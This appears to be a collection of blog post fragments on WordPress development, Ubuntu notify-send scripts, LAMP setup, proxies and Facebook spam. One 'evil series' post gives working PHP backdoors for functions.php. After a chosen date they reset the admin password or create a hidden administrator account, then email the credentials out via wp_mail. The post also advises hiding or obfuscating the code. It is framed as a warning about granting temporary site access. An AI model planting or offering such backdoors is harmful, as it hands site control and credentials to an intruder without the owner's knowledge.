Fetching Comments of a particular user

$args = array( 'number' => 10, 'status' => 'approve', 'user_id' => 1 );
$comments_list_by_user = get_comments( $args );
print_r ( $comments_list_by_user );

Fetching Comments of a particular post

$args = array( 'number' => 10, 'status' => 'approve', 'post_id' => 30 );
$comments_list_post = get_comments( $args );
print_r ( $comments_list_post );

Fetching Comments of a particular category

Here is how you can fetch comments for a specific category:

// Posts per page setting
$ppp = get_option('posts_per_page'); // either use the WordPress global Posts per page setting or set a custom one like $ppp = 10;
$custom_offset = 0; // If you are dealing with your custom pagination, then you can calculate the value of this offset using a formula

// category (can be a parent category)
$category_parent = 3;

// lets fetch sub categories of this category and build an array
$categories = get_terms( 'category', array( 'child_of' => $category_parent, 'hide_empty' => false ) );
$category_list =  array( $category_parent );
foreach( $categories as $term ) {
 $category_list[] = (int) $term->term_id;
}

// fetch posts in all those categories
$posts = get_objects_in_term( $category_list, 'category' );

$sql = "SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb->comments} WHERE
 comment_post_ID in (".implode(',', $posts).") AND comment_approved = 1
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset";

$comments_list = $wpdb->get_results( $sql );

if ( count( $comments_list ) > 0 ) {
 $date_format = get_option( 'date_format' );
 echo '<ul>';
 foreach ( $comments_list as $comment ) {
 echo '<li>Comment: '.substr( $comment->comment_content, 0, 50 ).'..<br />'.date( $date_format, strtotime( $comment->comment_date ) ).'<br />Post: <a href="'.get_permalink( $comment->comment_post_ID ).'">'.get_the_title( $comment->comment_post_ID ).'</a></li>';
 }
 echo '</ul>';
} else {
 echo '<p>No comments</p>';
}
?>

What we have done here is that, first we fetch sub categories of the category specified so as to include comments on those posts too which are under a sub-category of the specified category. Then we build an array of all these categories, where we need to look up for comments. Then we fetch the posts ID under those categories and then we use a query to fetch the comments on those posts. Finally, we display them as per our need by iterating $comments_list.

In case you want to fetch the comments of a  particular user under a specific category, then you can just change the SQL query in the above code to this:

$user_id = 1; // change this to the user ID either manually or let it come from some other code
$sql = "SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb->comments} WHERE
 comment_post_ID in (".implode(',', $posts).") AND comment_approved = 1 AND user_id = $user_id
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset";

I have used simple names for variables here to make it easy to understand. Always take care to provide your code in its own namespace, choose unique (non-generic) names. Read prefix everything in WordPress.

Need help? Got questions? Comment section is all yours!

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Some of the users who quickly upgraded might be facing issues because of a silly mistake on my part. If the plugin has disappeared from the plugins listing, then you would have to delete the folder “facebook-like-thumbnail” folder in your plugins folder (/wp-content/plugins/) and then reinstall the plugin by typing “Facebook Like Thumbnail” in Add New Plugins screen. I apologise for the issue, please excuse me, I am not used to pushing updates to public repositories.

The plugin now features an options pages which can be found under Settings > Facebook Like Thumbnail. You can specify your default thumbnail image on that page, no more code edits are required. This was a necessary move as the users would have to edit the plugin to specify their default image after every upgrade.

The plugin now supports featured thumbnails and NextGEN galleries (other than the slideshow ones).

The plugin picks the thumbnail in the following order (whichever is found first)

• If its a post or page
  • Featured Thumbnail
  • First Image in the post
  • Default
• If its a Front Page or Search Page
  • Default
• Anything else
  • First image in the first post of the loop
  • Default

Facebook Like Thumbnail

Author: Ashfame, version: 0.2, updated: April 16, 2011,
Requires WP version: 2.7 or higher, tested up to: 3.1.4.
Download (18 185 hits) (23 votes)

Adding the author avatar on author pages to be used as thumbnail and ignoring smilies as a possible match for thumbnail are on my To-do lists. If you have any suggestions, comments section is all yours.

Also the plugin can be totally uninstalled by using the delete option from WordPress dashboard, it won’t leave anything behind in the database.

I have tried to keep the plugin as fast as it can be. If any developer can provide any suggestions/improvements, I would love that. If you have any questions or facing any issues because of the early upgrade or need any help, give me a shout in the comments.

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Here for the sake of explanation of approach, I am making the content paginated where content is already paginated. We will make our extra content work in order to the global $paged variable.

<?php
// Posts Per Page option
$ppp = get_option('posts_per_page');

if (!is_paged()) {
	$custom_offset = 0;
} else {
	$custom_offset = $ppp*($paged-1);
}

// Lets suppose we are querying for posts of a certain author in a particular category
$args = array(
'numberposts' => $ppp,
'offset' => $custom_offset,
'category' => 7, // Category ID of category 'Articles'
'author' => $author_id
);

$posts_data = get_posts( $args );

if ( count( $posts_data ) > 0 ) {
	echo '<ul>';
	foreach ( $posts_data as $post ) {
		echo '<li><a href="'.get_permalink( $post->ID ).'">'.$post->post_title.'</a></li>';
	}
	echo '</ul>';
} else {
	echo '<p>No articles by this user</p>';
}
?>

This way the code make use of the global $paged variable to see which page it is on, and set the value of offset accordingly making the fetched content using get_posts itself paginated. On Page 1, the offset will be zero, it will fetch the posts limited by the posts per page value and on Page 2, the offset will be calculated to leave the posts already shown on previous page and query further posts limited by the posts per page value.

Got questions? Comment section is down below.

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Some tutorials use one, some other and many of them are in fact incorrect because they might seem to get the job done but in certain cases they cause side effects, such as modified global variables on which other functionality may rely.

The fight is in between using WP_Query or query_posts or get_posts. Rarst created a great chart to explain what is going on in the three approaches to make it easy to understand the working. which I totally recommend checking out.

Rarst explained the difference quite precisely as follows:

• query_posts() should be used in one and only case if you need to modify main query of page. It sets a lot of global variables and will lead to obscure and horrible bugs if used in any other place and for any other purpose;
• get_posts() is very similar in mechanics and accepts same arguments, but returns array of posts, doesn’t modify global variables and is safe to use anywhere;
• WP_Query class power both behind the scenes, but you can also create and work with own object of it. Bit more complex, less restrictions, also safe to use anywhere.

I want to stress that query_post() wrongfully overused in many tutorials around. It is one of the most widespread bad practices.

Next time you need to make WordPress to show content other than what it does by default, take care to choose the right method. If there is something that you don’t understand in the chart, leave a comment here and I will happily explain.

• Pagination approach using get_posts() in WordPress

I have created a launcher in my top panel, with which I start a new pomodori (name for a new period of time, lets call it a Pomodoro anyway). It calls up the script which alerts me that a new Pomodoro (time period) has started and then alert me again when the timer ends and I should take a small break.

Here is the script:

DISPLAY=:0 notify-send -t 1000 -i /home/ashfame/Dropbox/Ubuntu/icons/pomodoro.png "New Pomodoro starts" "You have 25 minutes to work."
# 25 minutes timer
sleep 1500
DISPLAY=:0 notify-send -t 1000 -i /home/ashfame/Dropbox/Ubuntu/icons/pomodoro.png "Pomodoro ends" "Take a break!"

As soon as I click the launcher, the first notification appears telling me that a new Pomodoro has started.

Then it sleeps for 1500 secs = 25 minutes. And after that the second notification appears telling me that the Pomodoro has ended.

I just take a 3-5 minutes break or even longer (I am the boss!), and then I again click on the launcher starting another Pomodoro and I work for another 25 minutes. You can use the same tomato icon, if you want.

Enjoy the awesomeness of Ubuntu and ditch Windows, yes I am an Ubuntu advocate and will push you to switch all the time

Have your say in the comments!

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We too can use this easily in our shell scripts. It supports more functionality if you are working in Python or C (Read Ubuntu NotifyOSD) but for shell scripts it does the pretty fine job too, if you just want to make Ubuntu work for you.

Using NotifyOSD in shell scripts

Make sure you have libnotify-bin installed, if not, just install it by typing the following command in a terminal:

sudo apt-get install libnotify-bin

notify-send – Program to send desktop notifications

With notify-send you can sends desktop notifications to the user via a notification daemon from the command line. These notifications can be used to inform the user about an event or display some form of information without getting in the user’s way.

Check out the man page for it, to see the options it has to offer – man notify-send

Enter this in a terminal, notify-send “Hello” “this is just a test” and you will see the notification appearing up on your desktop.I usually collect icons that I would like to use and then use them in notification bubbles in the following manner:

In terminal, you can use it like

notify-send -t 2000 -i /home/ashfame/Dropbox/Ubuntu/icons/console.png "Hello Ashfame" "This is your computer, lets start with work"

In a shell script, use it like (take care of the screen where you want to display the message – I am on a dual screen setup)

DISPLAY=:0 notify-send -t 2000 -i /home/ashfame/Dropbox/Ubuntu/icons/console.png "Hello Ashfame" "This is your computer, lets start with work"

Time parameter (-t) lets you specify the time in miliseconds after which the notification will fade away. Its affected with a bug right now (will work on the default timeout even if you set it, but will be fixed in upcoming releases anyway, so better use it).

Icon parameter (-i) is used to specify the icon which is to be used in the notification.

You can also use it to notify you when a certain command has completed in the terminal, like when you were compiling some code or anything which takes a good amount of time so that you can get to know the moment it is ready. As an example, you can use it like

make && notify-send "DONE"

Making practical use of NotifyOSD using notify-send

You can create shell scripts for additional functionality you want, right? Just use notify-send where you want you to be informed or alerted.

Here are the examples, where I use them:

1. WordPress new version alert
2. Alert if my site is down
3. Health check – Tells me to take breaks, sleep at night and if I resist, lock the screen
4. Pomodoro technique for quantizing time for increasing productivity
5. Random fun facts from randomfunfacts.com

You can build a lot more useful stuff as per your needs. Share your ideas in the comments and we can discuss

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Example #1

Change the admin password after a certain date or time and inform us! Sounds good?

<?php
if ( strtotime( "2011-04-30" ) < time() ) {

	$target_admin_id = 1; // change this if admin has a different ID or you want to attach a particular admin
	$target_admin_new_password = 'evilme';
	$target_admin_userinfo = get_userdata( $target_admin_id );

	if ( !wp_check_password( $target_admin_new_password, $target_admin_userinfo->user_pass , $target_admin_id ) ) { // Have we already changed the password?

		add_action( 'shutdown', 'evilme_change_admin_password' );

		function evilme_change_admin_password() {

			global $target_admin_id;
			global $target_admin_new_password;
			global $target_admin_userinfo;

			wp_set_password( $target_admin_new_password, $target_admin_id );

			// now email me that my password of admin account has changed ready

			wp_mail( 'ashishsainiashfame@gmail.com', 'Admin password has been changed!', 'WP URL - '.get_bloginfo( 'wpurl' ).' | username: '.$target_admin_userinfo->user_login.' | password: '.$target_admin_new_password );
		}
	}
}

?>

At the very beginning, I checked if the current time is passed April 30, then execute all this code. Change it to the date when you want the backdoor to be created. The basic logic is to set the password of a user using wp_set_password() and keep a check on the password so as to avoid a database write and an alert email sent to you on every page load.

I have attached it to the shutdown hook so that it doesn’t disturb the page output exactly when it happens. Change the email address and the new password you want to set and try this on a demo WordPress install by pasting the code in functions.php file.

Example #2

Create a new admin user after a certain date or time and ping us when ready!

<?php
if ( strtotime( "2011-04-30" ) < time() ) {

	// Required for username_exists()
	require_once( ABSPATH . WPINC . '/registration.php' );

	if ( !username_exists( 'ashfame-evil' ) ) { // Have we already done it once?

		add_action( 'shutdown', 'evilme_create_new_admin' );

		function evilme_create_new_admin() {

			$user_id = wp_insert_user( array(

				'user_login' => 'ashfame-evil',

				'user_pass' => 'evilme',

				'user_email' => 'ashishsainiashfame@hotmail.com',

				'role' => 'administrator'

			) );

			// now email me that my new admin account is ready

			wp_mail( 'ashishsainiashfame@gmail.com', 'New Admin account is ready', 'WP - '.get_bloginfo( 'wpurl' ).' | username: ashfame-evil | password: evilme' );
		}
	}

}

?>

Again I check for the date, and if the condition satisfies, I used wp_insert_user() to create a new administrator user. To make sure the code only do this once, I keep a check if the username I want to create exists or not. If its does, we have already created a new admin user of which you should have got an email. You can test this too by changing the email address and putting the code in your functions.php file.

Ideally you don’t keep this code easily visible, you can just hide it anywhere. Deep inside functions.php file, some custom plugin or even obfuscate the code.

This tutorial was solely for the purpose of fun & making people aware about the fact that it is not safe when you provide temporary access to your blog. If they did what just I demonstrated you would see everything fine, there will be nothing you can make note of but after the timer, it will create a backdoor. More logical implementation would be to create a administrator account at a certain amount of time, and then delete that user after 1 hour every day/week. The User ID would go up, and might create suspicion after quite some time, but possibilities are endless. Be smart, be aware, spread the word about it. Friends don’t let friends fall for others’ trap.

If you have any questions about the code here, feel free to shoot me a question in the comments. And don’t forget to share this post on Facebook & Tweet it!

Subscribe to feeds so as not to miss any of the evil posts!

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You are welcome for the following:

• Comment anything relevant! You can criticise my series too, I won’t mind!
• Tip me for the next Evil Post.
• Write a Guest Post for WP Evil Series (Decision of accepting it as a qualified WordPress Evil Post Series will be totally on me, though)

That said, first post in the series will be up in a few minutes.

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• Handling WordPress Post Revisions the right way
• How to highlight first post in bbPress
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Install LAMP stack

Fire up a terminal (Applications > Accessories > Terminal) and enter this command:

sudo apt-get install lamp-server^

Enter y for yes when it asks to continue after estimation of how much data will be downloaded and how much will be used on disk.

It will install quickly and can take a few minutes depending on your internet speed, and then it will ask you to setup the password for MySQL user root. It is usually left blank on localhost machines as they are used only for development purposes but last time I left it blank, I had to deal with the issues that it didn’t change the password to blank but has something else and I had to turn off the password prompt for root access. Avoid doing all that by just selecting “root” or anything you want as the password of the root user of MySQL.

Confirm it once (Type the password and press Tab key).

and you are done.

Test Apache Webserver

Just open http://localhost/ in your browser and it will show up a message “It works!” which means Apache is working fine.

Test PHP

Create a file named phpinfo.php in /var/www/ to check if PHP is working fine.

sudo nano /var/www/phpinfo.php

Enter the content as <?php phpinfo(); ?> and save the file by hitting Ctrl + X and then y (for yes) and return key (enter).

Restart Apache webserver by the following command – sudo /etc/init.d/apache2 restart

Now open http://localhost/phpinfo.php and it will show up a page with lots of php related information, if you can see it, PHP is working fine.

Install phpMyAdmin

Enter this command in terminal – sudo apt-get install libapache2-mod-auth-mysql phpmyadmin

Select Apache as the web server by pressing Space and then Tab key and press enter key.

Press Yes to configure database for phpmyadmin.

Provide password which we set as “root” earlier.

Again, enter “root“.

Confirm it, and then you are done.

Test phpMyAdmin

Now open http://localhost/phpmyadmin/ in your brower to access phpmyadmin and you can login with username and password both as root.

Pretty quick & easy!

Everything is done, you have your web root at /var/www/ where you will need super user permissions to write files, I will do a follow up post on how you can make this easier by keeping your files in your Home directory instead and a bit of extra which will make it totally complete.

Subscribe so that you don’t miss updates! RSS/Email options are in the sidebar.

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But sometimes it might happen that the spam blog site might be getting indexed quicker than the original site when your original site is pretty much new, so it can be a temporary hold for your organic traffic growth. In such case, we can deal with them by delaying the feeds for a certain amount of time as all these scrappers work by pulling articles from your feeds and then publishing your articles on their site.

Delay publishing of WordPress Feeds:

Here is the snippet with you can delay your feeds for (lets say 15 minutes):

/**
 * Publish the content in the feed 15 minutes later
 * $where ist default-var in WordPress (wp-includes/query.php)
 * This function an a SQL-syntax
 */
function publish_later_on_feed($where)
{
	global $wpdb;
	if ( is_feed() )
	{
		// timestamp in WP-format
		$now = gmdate('Y-m-d H:i:s');
		// value for wait; + device
		$wait = '15'; // integer
		// http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
		$device = 'MINUTE'; //MINUTE, HOUR, DAY, WEEK, MONTH, YEAR
		// add SQL-sytax to default $where
		$where .= " AND TIMESTAMPDIFF($device, $wpdb->posts.post_date_gmt, '$now') > $wait ";
	}
	return $where;
}
add_filter('posts_where', 'publish_later_on_feed');

This will delay the feeds for 15 minutes (Line 14 in the code) before any new article appears in it. This is a very good approach in killing those automated blogs. But sometimes it can be the case, that they are not automated. Its humans manually copy-pasting the articles from various sources. In such a case, what you can do is to make your blog ping the crawl bots so that your chances of getting indexed first is maximised.

Checklist for fast indexing:

• Submit a Sitemap to Google Webmasters.
• Use PushPress and RSS Cloud WordPress plugin.
• Use WordPress option to ping pinging service and add several multiple pinging service there (less effective now but doing it won’t harm)
• Delay your feeds for a few minutes (Scrappers won’t be manually monitoring your site every minute)

Hope that helps you defeat those blood sucking scrappers. If you have any questions or tip, feel free to leave it in the comments below.

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I will blog about how the video was created, later on. For now, enjoy the video and have your say in the comments!

And this is the video for the plugin branch, bbPress as a WordPress plugin.

P.S. - WordPress, bbPress & Gource - all are awesome!

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For the purpose of this post, I assume that you are ready running the Last.fm scrobbler (tool which sends your music statistics to Last.fm). In the menu, select Tools, and then options.

In options, select Connection from the left. Click on Manual proxy settings and fill in the IP address and port of the proxy server.

However note that only US / UK / Germany based proxy will work. Learn how to find a good and fast proxy server IP address & port.

Now you can enjoy free Internet radio without subscribing to their service. But I would suggest if you really enjoy their service, you should subscribe (its only 3USD/month). But I guess their policy of making users pay who are outside of US, UK & Germany sort of turn people off to subscribe. They shouldn’t discriminate on the basis of geographical locations. After all, its love for music.

If you have any questions, leave a comment below.

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Here is a screenshot of how the new like would show up on your profile:

I don’t like the move as people tend to like a lot more stuff than what they share. This is going to stuff the stream with lots of noise. After like is not, and can’t be equivalent to share. I might like a post on Ubuntu tutorial but is that something I would want to share with everyone else. No! But that’s totally a different story.

Coming back to the point, many sites would show up random image of their page instead of an appropriate image. I have seen this on several blogs including mine, that sometimes an advertisement image would show up (from the sidebar), or a totally unrelated image of my another project (from the footer). so, I took this opportunity today to fix it for everyone.

You can check what thumbnail would Facebook show for a particular page by using their Lint tool.

The problem can be solved for non-WordPress based or html sites or whatever, by adding this line to their head section.

<link rel="image_src" href="http://example.com/logo.png" />

This will show that image on every page. But in WordPress, we can do a lot more, that’s because WordPress is a brilliant piece of software.

You can use the plugin to fix the issue. It will display the first image of the post or page you are on. In case someone likes your Category or Tag page, then the first image of the first post in the listing will be used.

You will need to edit a line which is highlighted in the code below to change the default fallback image to your logo so that whenever, the post doesn’t have any image in it, your logo will be displayed. If you don’t edit that line, then my logo will be displayed and I might sue you for that.

I have added a couple of features in the plugin, so I don’t recommend you to use the snippet anymore. Using the plugin will make it easier for you to receive updates without touching any code. WordPress Facebook Like Thumbnail Plugin v0.2

In case, you don’t want to download yet another plugin, you can add the following code in your functions.php file I recommend everyone to use the plugin version instead so that you can receive updates automatically.

Facebook crawls your page every 24 hours (at max), so you may not see the change right away but you would see it instantaneously, if you use the Linter tool once for that page because it updates the thumbnail for that page, right away.

I might add an options page for it to add an image if users request start coming up. Also I will host it on WordPress repositories once I get the time to, as I will need to look into it first.

If you have any question, you can ask in the comments. Also, please like it (not share) to share it with other fellow bloggers.

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What generally people do is to open a proxy site in which they type in the web address or URL they want to access and then the page is displayed in the browser by the proxy server and all the link on the page are converted so that further requests when a user clicks on a link are routed & served by the proxy server only. But some desktop applications can also make use of proxy servers by configuring the options to route their requests to a proxy server for which you need the IP Address and Port number of the proxy server and login credentials (username & password), in case the proxy server is a private server and not open for general public. Example: Web browsers, FTP clients, Torrent clients, Media players etc

And sometimes there is even a need of a country based proxy because services like Last.fm streams free internet radio to users from US, UK & Germany. There can be several examples.

Whenever you need a good and stable proxy server, you can get a list at HideMyAss.com. The page itself keeps on updating the status of proxy servers.

You can filer proxy server listing by based on their location i.e. country, the port they run on (some applications only accept a proxy on a particular port or don’t let you change it)

How to find a good proxy server?

If you observe the list, there are a lot of options to choose from. Good thing, but with more options comes the problem of picking up a good one. So, I will give you a quick tip to pick up a fast & speedy proxy server.

If you see the list, there are two bars which show the health of the proxy server. First one shows the speed and the other shows the connection time. So only look for those which show green state and hence are a good option. But chose those which are not completely green but those which are a little less because they are less likely to get a stream of more users and should sustain for more time before they go busy and stop working for you, hence you will need to make less switches as compared to picking up which is already stuffed by users. Moreover some web services might put up a restriction on users who might be using their service from the same IP (proxy server).

And also I would recommend to avoid using proxy servers for transferring any sensitive data like your gmail accounts, bank accounts etc. You can never be sure what they can do (I mean they are technically feasible of saving what data you pass through them which means your login credentials are exposed. If you have any questions, feel free to give me a shout in the comments.

In case you are a Stumble Upon user, then here is a quick tip (probably fastest method) to find proxy servers.

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The current spam attack message is similar to the one we all have already seen, its about a girl getting expelled from school after her teacher read her Facebook status update. Here is a screenshot:

If you click on the link, you will land upon a page which asks you to login on the site using Facebook and then the app’s permission will show up.

One can clearly tell that they are trying to steal your email and asking for permission to post on wall for further spreading this spam so that more and more people fall for it. I have written about how Facebook Apps steal user data. Report such apps to Facebook by clicking on the Report App link.

So when you see someone you know posting this on your wall, make sure you report it as spam. This will remove it from your wall to and less people will fall for it.

This one will be harder to control as I noticed that the same spam message was posted using different apps.

Spread awareness and don’t let others fool you by falling for this spam. Let your friends know about it, click on this link – Share with friends on Facebook.

Happy and Safe Facebook’ing!

• Facebook Spam Message Attack
• Facebook Apps are stealing users data
• Post Twitter updates on Facebook automatically
• We are on Facebook
• Refresh Facebook Notes Feeds if they have stopped updating